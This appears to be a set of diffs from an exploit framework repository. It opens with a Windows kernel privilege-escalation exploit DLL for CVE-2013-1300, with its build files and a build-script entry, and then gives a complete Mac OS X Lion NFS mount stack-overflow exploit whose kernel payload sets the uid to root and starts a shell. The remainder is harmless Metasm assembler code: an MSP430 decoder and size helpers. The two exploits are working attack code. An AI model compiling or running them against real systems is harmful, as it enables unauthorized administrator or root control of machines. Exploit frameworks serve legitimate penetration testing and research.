wndclass.lpszMenuName = 0;
wndclass.lpszClassName = (LPCSTR) 0x1337;
rc=RegisterClassA(&wndclass);
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
gHwnd = windowhandle;
while(1) {
GetMessageA(&msg, 0x0, 0x0, 0x0);
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return 0;
}
DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) {
__asm {
push ansi
push fnid
push result
push lparam
push wparam
push msg
push hwnd
push 0xdeadbeef
mov eax, 11eah
mov edx, 7ffe0300h
call [edx]
add esp, 20h
}
}
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef long (*_RtlCreateUserThread)(HANDLE,
PSECURITY_DESCRIPTOR,
BOOLEAN,ULONG,
PULONG,PULONG,
PVOID,PVOID,
PHANDLE,PCLIENT_ID);
_RtlCreateUserThread RtlCreateUserThread;
int Schlamperei()
{
// Create window which will execute the wndproc in kernel mode
HWND wnd = createhelperwnd();
// Retrieve memory address of window using gSharedInfo
DWORD addressofwnd = gethandleaddress(wnd);
HMODULE ntdll=LoadLibraryA("ntdll.dll");
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
// Allocate fake EPROCESS in user mode
// see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt
if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) {
return 0;
}
// Create window in new thread to trigger inter thread message sending
HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0);
Sleep(0x1000);
// 0x9 is size of allocation, results in buffer (8 + 4) = 12
// 8 byte block allocations = 16 bytes
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
unsigned char *buf = (unsigned char *)malloc(16);
for(int i=0; i<0x40; i++) {
NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
}
SendMessage(wnd, 0x401, addressofwnd, 0x0);
ExitProcess(0);
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
Schlamperei();
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
};

View File

@ -0,0 +1,111 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{C093C490-61BF-433E-AEB4-80753B20DEC7}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<ProjectName>schlamperei</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\cve-2013-1300\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\cve-2013-1300\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\cve-2013-1300\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="schlamperei.c">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeaderFile>
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeaderOutputFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeaderFile>
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeaderOutputFile>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" (
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-1300 (schlamperei)"
PUSHD CVE-2013-1300
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building bypassuac (on-disk)"
PUSHD bypassuac

View File

@ -0,0 +1,165 @@
/*
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
* CVE None
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
*
*
* Notes:
* This exploit leverage a stack overflow vulnerability to escalate privileges.
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
* of a user-provided argument before copying it to the stack. As a result by
* passing a large size, a local user can overwrite the stack with arbitrary
* content.
*
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
*
* Greets to taviso, spender, joberheide
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
/** change these to fit your environment if needed **/
#define SSIZE (536)
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
struct user_nfs_args {
int version; /* args structure version number */
char* addr __attribute__((aligned(8))); /* file server address */
int addrlen; /* length of address */
int sotype; /* Socket type */
int proto; /* and Protocol */
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
int fhsize; /* Size, in bytes, of fh */
int flags; /* flags */
int wsize; /* write size in bytes */
int rsize; /* read size in bytes */
int readdirsize; /* readdir size in bytes */
int timeo; /* initial timeout in .1 secs */
int retrans; /* times to retry send */
int maxgrouplist; /* Max. size of group list */
int readahead; /* # of blocks to readahead */
int leaseterm; /* obsolete: Term (sec) of lease */
int deadthresh; /* obsolete: Retrans threshold */
char* hostname __attribute__((aligned(8))); /* server's name */
/* NFS_ARGSVERSION 3 ends here */
int acregmin; /* reg file min attr cache timeout */
int acregmax; /* reg file max attr cache timeout */
int acdirmin; /* dir min attr cache timeout */
int acdirmax; /* dir max attr cache timeout */
/* NFS_ARGSVERSION 4 ends here */
uint auth; /* security mechanism flavor */
/* NFS_ARGSVERSION 5 ends here */
uint deadtimeout; /* secs until unresponsive mount considered dead */
};
/** sets the uid for the current process and safely exits from the kernel**/
static void r00t_me() {
asm(
// padding
"nop; nop; nop; nop;"
// task_t %rax = current_task()
"movq %%gs:0x00000008, %%rax;"
"movq 0x00000348(%%rax), %%rax;"
// proc %rax = get_bsdtask_info()
"movq 0x000002d8(%%rax),%%rax;"
// ucred location at proc
"movq 0x000000d0(%%rax),%%rax;"
// uid = 0
"xorl %%edi, %%edi;"
"movl %%edi, 0x0000001c(%%rax);"
"movl %%edi, 0x00000020(%%rax);"
// fix the stack pointer and return (EACCES)
"movq $13, %%rax;"
"addq $0x00000308,%%rsp;"
"popq %%rbx;"
"popq %%r12;"
"popq %%r13;"
"popq %%r14;"
"popq %%r15;"
"popq %%rbp;"
"ret;"
:::"%rax"
);
}
int main(int argc, char ** argv) {
struct user_nfs_args xdrbuf;
char * path;
char obuf[SSIZE];
/** clear the arguments **/
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
memset(obuf, 0x00, SSIZE);
/** set up variable to get path to vulnerable code **/
xdrbuf.version = 3;
xdrbuf.hostname = "localhost";
xdrbuf.addrlen = SSIZE;
xdrbuf.addr = obuf;
/** set ret address **/
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
/** create a unique tmp name **/
if ((path = tmpnam(NULL)) == NULL) {
// path can be any directory which we have read/write/exec access
// but I'd much rather create one instead of searching for one
perror("[-] tmpnam");
exit(EXIT_FAILURE);
}
/** make the path in tmp so that we can use it **/
if (mkdir(path, 0660) < 0) {
perror("[-] mkdir");
exit(EXIT_FAILURE);
}
/** inform the user that the path was created **/
printf("[*] created sploit path%s\n", path);
/** call the vulnerable function **/
if (mount("nfs", path, 0, &xdrbuf) < 0) {
if (errno == EACCES) {
puts("[+] escalating privileges...");
} else {
perror("[-] mount");
}
}
/** clean up tmp dir **/
if (rmdir(path) < 0) {
perror("[-] rmdir");
}
/** check if privs are equal to root **/
if (getuid() != 0) {
puts("[-] priviledge escalation failed");
exit(EXIT_FAILURE);
}
/** get root shell **/
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
printf("[+] Dropping a shell.\n");
/** execute **/
execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
return 0;
}

View File

@ -36,6 +36,7 @@ module Metasm
'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm',
'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc',
'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf',
'MSP430' => 'cpu/msp430',
'C' => 'compile_c',
'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe',
'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff',

View File

@ -104,7 +104,7 @@ class ModRM
i = o
s = 1
when Expression
if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg)
if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg))
# scaled index
raise otok, 'mrm: too many indexes' if i
s = o.lexpr
@ -129,7 +129,9 @@ class ModRM
walker[regify[content.reduce]]
# ensure found immediate is really an immediate
raise otok, 'mrm: reg in imm' if imm.kind_of? Expression and not imm.externals.grep(Reg).empty?
raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty?
raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz
# find default address size
adsz = b ? b.sz : i ? i.sz : nil

View File

@ -0,0 +1,8 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/main'
require 'metasm/cpu/msp430/decode'

View File

@ -0,0 +1,247 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/msp430/opcodes'
require 'metasm/decode'
module Metasm
class MSP430
def build_opcode_bin_mask(op)
op.bin_mask = 0
op.fields.each_key { |f|
op.bin_mask |= @fields_mask[f] << @fields_shift[f]
}
op.bin_mask ^= 0xffff
end
def build_bin_lookaside
lookaside = Array.new(256) { [] }
opcode_list.each { |op|
build_opcode_bin_mask op
b = (op.bin >> 8) & 255
msk = (op.bin_mask >> 8) & 255
for i in b..(b | (255^msk))
lookaside[i] << op if i & msk == b & msk
end
}
lookaside
end
def decode_findopcode(edata)
di = DecodedInstruction.new(self)
val = edata.decode_imm(:u16, @endianness)
edata.ptr -= 2
di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin }
di if di.opcode
end
def decode_instr_op(edata, di)
before_ptr = edata.ptr
op = di.opcode
di.instruction.opname = op.name
val = edata.decode_imm(:u16, @endianness)
field_val = lambda{ |f|
(val >> @fields_shift[f]) & @fields_mask[f]
}
# must decode rs first
vals = {}
([:rs, :rd, :r_pc] & op.args).each { |a|
mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a]
mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad
if a == :r_pc
r = Reg.new(0)
else
r = Reg.new(field_val[a])
end
w = op.props[:byte] ? 1 : 2
case field_val[mod]
when 0
if r.i == 3 and a == :rs
vals[a] = Expression[0]
else
vals[a] = r
end
when 1
if r.i == 3 and a == :rs
vals[a] = Expression[1]
else
imm = edata.decode_imm(:u16, @endianness)
r = nil if r.i == 2 # [imm]
vals[a] = Memref.new(r, imm, w)
end
when 2
if r.i == 3
vals[a] = Expression[2]
elsif r.i == 2
vals[a] = Expression[4]
else
vals[a] = Memref.new(r, 0, w)
end
when 3
if r.i == 3
vals[a] = Expression[-1]
elsif r.i == 2
vals[a] = Expression[8]
elsif r.i == 0 # pc++
# XXX order wrt other edata.decode_imm ?
vals[a] = Expression[edata.decode_imm(:u16, @endianness)]
else
vals[a] = Memref.new(r, 0, w, true)
end
end
}
op.args.each { |a|
di.instruction.args << case a
when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)]
when :rs, :rd, :r_pc; vals[a]
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
end
}
di.bin_length += edata.ptr - before_ptr
return if edata.ptr > edata.length
di
end
def decode_instr_interpret(di, addr)
if di.opcode.props[:setip] and di.opcode.name =~ /^j/
delta = di.instruction.args.last.reduce
arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
di.instruction.args[-1] = Expression[arg]
end
di
end
def backtrace_binding
@backtrace_binding ||= init_backtrace_binding
end
def init_backtrace_binding
@backtrace_binding ||= {}
opcode_list.map { |ol| ol.name }.uniq.each { |op|
@backtrace_binding[op] ||= case op
when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }}
when 'cmp', 'test'; lambda { |di, *a| {} } # TODO
when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } }
when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } }
when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } }
when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } }
when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } }
when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0],
:sp => Expression[:sp, :-, 2] } }
when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr],
:sp => Expression[:sp, :-, 2] } }
when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]],
:sp => Expression[:sp, :+, 2] } }
when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } }
when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } }
when /^j/; lambda { |di, a0| {} }
end
}
@backtrace_binding
end
def get_backtrace_binding(di)
a = di.instruction.args.map { |arg|
case arg
when Reg; arg.symbolic
when Memref; arg.symbolic(di.address)
else arg
end
}
if binding = backtrace_binding[di.opcode.basename]
bd = binding[di, *a] || {}
di.instruction.args.grep(Memref).each { |m|
next unless r = m.base and m.postincr
r = m.base.symbolic
bd[r] ||= Expression[r, :+, m.size]
}
bd
else
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
{ :incomplete_binding => Expression[1] }
end
end
def get_xrefs_x(dasm, di)
return [] if not di.opcode.props[:setip]
case di.instruction.opname
when 'ret'
return [Indirection[:sp, 2, di.address]]
when 'reti'
return [Indirection[[:sp, :+, 2], 2, di.address]]
end
# XXX add pc, 42 ?
val = di.instruction.args[0]
case val
when Reg; val = val.symbolic
when Memref; val = val.symbolic(di.address)
end
[Expression[val]]
end
def backtrace_is_function_return(expr, di=nil)
expr = Expression[expr].reduce_rec
expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
end
# updates the function backtrace_binding
# if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
b = f.backtrace_binding
bt_val = lambda { |r|
next if not retaddrlist
b[r] = Expression::Unknown
bt = []
retaddrlist.each { |retaddr|
bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
:snapshot_addr => faddr, :origin => retaddr)
}
if bt.length != 1
b[r] = Expression::Unknown
else
b[r] = bt.first
end
}
if not wantregs.empty?
wantregs.each(&bt_val)
else
bt_val[:sp]
end
b
end
def replace_instr_arg_immediate(i, old, new)
i.args.map! { |a|
case a
when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
when Memref
a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression)
a
else a
end
}
end
end
end

View File

@ -0,0 +1,62 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/main'
module Metasm
class MSP430 < CPU
def initialize(e = :little)
super()
@endianness = e
@size = 16
end
class Reg
include Renderable
Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym }
attr_accessor :i
def initialize(i) ; @i = i end
def symbolic ; Sym[@i] end
def render ; [Sym[@i].to_s] end
def ==(o) ; o.class == self.class and o.i == @i end
end
class Memref
attr_accessor :base, :offset, :size, :postincr
def initialize(base, offset = 0, size = nil, postincr = false)
@base = base
@offset = Expression[offset]
@size = size
@postincr = postincr
end
def symbolic(orig=nil)
r = @base.symbolic if @base
e = Expression[r, :+, @offset].reduce
Indirection[e, (@size || 1), orig]
end
include Renderable
def render
b = @base
b = @base.to_s + '++' if @base and @postincr
p = Expression[b, :+, @offset].reduce
Indirection[p, @size].render
end
end
def init_opcode_list
init
end
def dbg_register_list
@dbg_register_list ||= Reg::Sym.sort.transpose.last
end
end
end

View File

@ -0,0 +1,101 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/msp430/main'
module Metasm
class MSP430
def addop(name, bin, *args)
o = Opcode.new name, bin
args.each { |a|
o.args << a if @valid_args[a]
o.props[a] = true if @valid_props[a]
o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
}
@opcode_list << o
end
def init
@opcode_list = []
@fields_mask = {
:as => 3, # adressing mode
:ad => 1, # adressing mode
:rd => 0xf,
:rs => 0xf,
:joff => 0x3ff, # signed offset for jumps
}
@fields_shift = {
:as => 4,
:ad => 7,
:rd => 0,
:rs => 8,
:joff => 0,
}
@valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true }
@valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true }
# https://en.wikipedia.org/wiki/TI_MSP430
addop_macro1 'rrc', 0, :byte
addop_macro1 'swpb', 1
addop_macro1 'rra', 2, :byte
addop_macro1 'sxt', 3
addop_macro1 'push', 4, :byte
addop_macro1 'call', 5, :setip, :stopexec, :saveip
addop 'reti', 0b000100_110_0000000
addop_macro2 'jnz', 0
addop_macro2 'jz', 1
addop_macro2 'jnc', 2
addop_macro2 'jc', 3
addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ?
addop_macro2 'jge', 5
addop_macro2 'jl', 6
addop_macro2 'jmp', 7, :stopexec
addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++]
addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++]
addop_macro3 'mov', 4
addop_macro3 'add', 5
addop_macro3 'adc', 6 # 'addc'
addop_macro3 'sbc', 7
addop_macro3 'sub', 8
addop_macro3 'cmp', 9
addop_macro3 'dadd',10 # decimal add with carry
addop_macro3 'test',11 # 'bit'
addop_macro3 'andn',12 # 'bic'
addop_macro3 'or', 13 # 'bis'
addop_macro3 'xor', 14
addop_macro3 'and', 15
end
def addop_macro1(name, bin, *props)
if props.delete :byte
addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props
else
addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props
end
end
def addop_macro2(name, bin, *props)
addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props
end
def addop_macro3(name, bin, *props)
addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc
addop_byte name, (bin << 12), :rd, :ad, :as, :rs
end
def addop_byte(name, bin, *props)
addop name, bin, *props
addop name + '.b', bin | (1 << 6), :byte, *props
end
end
end

View File

@ -39,6 +39,8 @@ class Sh4
end
def decode_findopcode(edata)
return if edata.ptr >= edata.length
di = DecodedInstruction.new(self)
val = edata.decode_imm(:u16, @endianness)
edata.ptr -= 2

View File

@ -594,6 +594,7 @@ class CCompiler < C::Compiler
l = c_cexpr_inner(expr.lexpr)
l = make_volatile(l, expr.type)
r = c_cexpr_inner(expr.rexpr)
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
unuse r
if expr.lexpr.type.integral? or expr.lexpr.type.pointer?
instr 'cmp', l, i_to_i32(r)
@ -790,6 +791,7 @@ class CCompiler < C::Compiler
end
instr 'mov', l, ll
else
r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz
instr 'imul', l, r
end
unuse r
@ -876,6 +878,8 @@ class CCompiler < C::Compiler
l = c_cexpr_inner(expr.lexpr)
r = c_cexpr_inner(expr.rexpr)
r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
l = make_volatile(l, expr.type) if l.kind_of?(ModRM)
if l.kind_of? Expression
o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o
l, r = r, l

View File

@ -93,6 +93,9 @@ class AOut < ExeFormat
def encode_byte(w) Expression[w].encode(:u8 , @endianness) end
def encode_half(w) Expression[w].encode(:u16, @endianness) end
def encode_word(w) Expression[w].encode(:u32, @endianness) end
def sizeof_byte ; 1 ; end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
def initialize(cpu = nil)
@endianness = cpu ? cpu.endianness : :little

View File

@ -57,6 +57,7 @@ class Bflt < ExeFormat
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def encode_word(w) Expression[w].encode(:u32, @endianness) end
def sizeof_word ; 4 ; end
attr_accessor :endianness
def initialize(cpu = nil)

View File

@ -140,7 +140,7 @@ class COFF < ExeFormat
bytes :link_ver_maj, :link_ver_min
words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code
# base_of_data does not exist in 64-bit
new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0)
new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0)
# NT-specific fields
xword :image_base
words :sect_align, :file_align
@ -413,6 +413,11 @@ class COFF < ExeFormat
end
def shortname; 'coff'; end
def sizeof_byte ; 1 ; end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end
end
# the COFF archive file format
@ -448,6 +453,9 @@ class COFFArchive < ExeFormat
def member(name)
@members.find { |m| m.name == name }
end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
end
end

View File

@ -847,6 +847,7 @@ class COFFArchive
ar.encoded.ptr += 1 if @size & 1 == 1
end
# TODO XXX are those actually used ?
def decode_half ; @encoded.decode_imm(:u16, :big) end
def decode_word ; @encoded.decode_imm(:u32, :big) end

View File

@ -43,6 +43,7 @@ class DEX < ExeFormat
class SerialStruct < Metasm::SerialStruct
# TODO move uleb/sleb to new_field for sizeof
new_int_field :u2, :u4, :uleb, :sleb
end
@ -328,6 +329,8 @@ class DEX < ExeFormat
def encode_u4(val) Expression[val].encode(:u32, @endianness) end
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def sizeof_u2 ; 2 ; end
def sizeof_u4 ; 4 ; end
def decode_uleb(ed = @encoded, signed=false)
v = s = 0
while s < 5*7

View File

@ -26,6 +26,7 @@ class Dol < ExeFormat
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def encode_word(w) Expression[w].encode(:u32, @endianness) end
def sizeof_word ; 4 ; end
def initialize(cpu = nil)
@endianness = :big

View File

@ -21,29 +21,52 @@ class ELF < ExeFormat
TYPE_HIPROC = 0xffff
MACHINE = {
0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386',
4 => '68K', 5 => '88K', 6 => '486', 7 => '860',
8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE',
15 => 'PARISC',
17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960',
20 => 'PPC', 21 => 'PPC64', 22 => 'S390',
36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE',
40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9',
44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H',
